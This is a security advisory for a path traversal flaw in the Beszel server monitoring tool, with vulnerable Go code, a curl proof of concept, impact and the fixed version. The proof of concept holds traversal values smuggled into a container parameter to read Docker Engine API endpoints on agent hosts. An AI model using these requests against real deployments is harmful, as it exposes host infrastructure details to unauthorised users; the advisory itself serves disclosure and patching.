CVE-2026-27734 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in github.com/henrygd/beszel. A fix is available for github.com/henrygd/beszel — see the affected versions and patch details below.
Beszel Vulnerable to Docker API Path Traversal via Unsanitized Container ID
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27734.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/henrygd/beszelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.
Details
Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID) // passed directly to agent
Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:
endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)
Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.
PoC
Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).
# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
-H "Content-Type: application/json" \
-d '{"identity":"[email protected]","password":"password"}' | jq -r '.token')
SYSTEM="<system_id>"
# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
-H "Authorization: Bearer $TOKEN"
All three requests returned real data from the Docker Engine API on the agent host.
Impact
Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.
Researcher
Sergio Cabrera https://www.linkedin.com/in/sergio-cabrera-878766239/
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/henrygd/beszel | all versions | 0.18.4go get github.com/henrygd/beszel@v0.18.4 |
Affected Products
beszelbeszelDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/henrygd/beszel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/henrygd/beszel to 0.18.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27734 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-27734 in your dependencies?
Find it across Go, including transitive dependencies.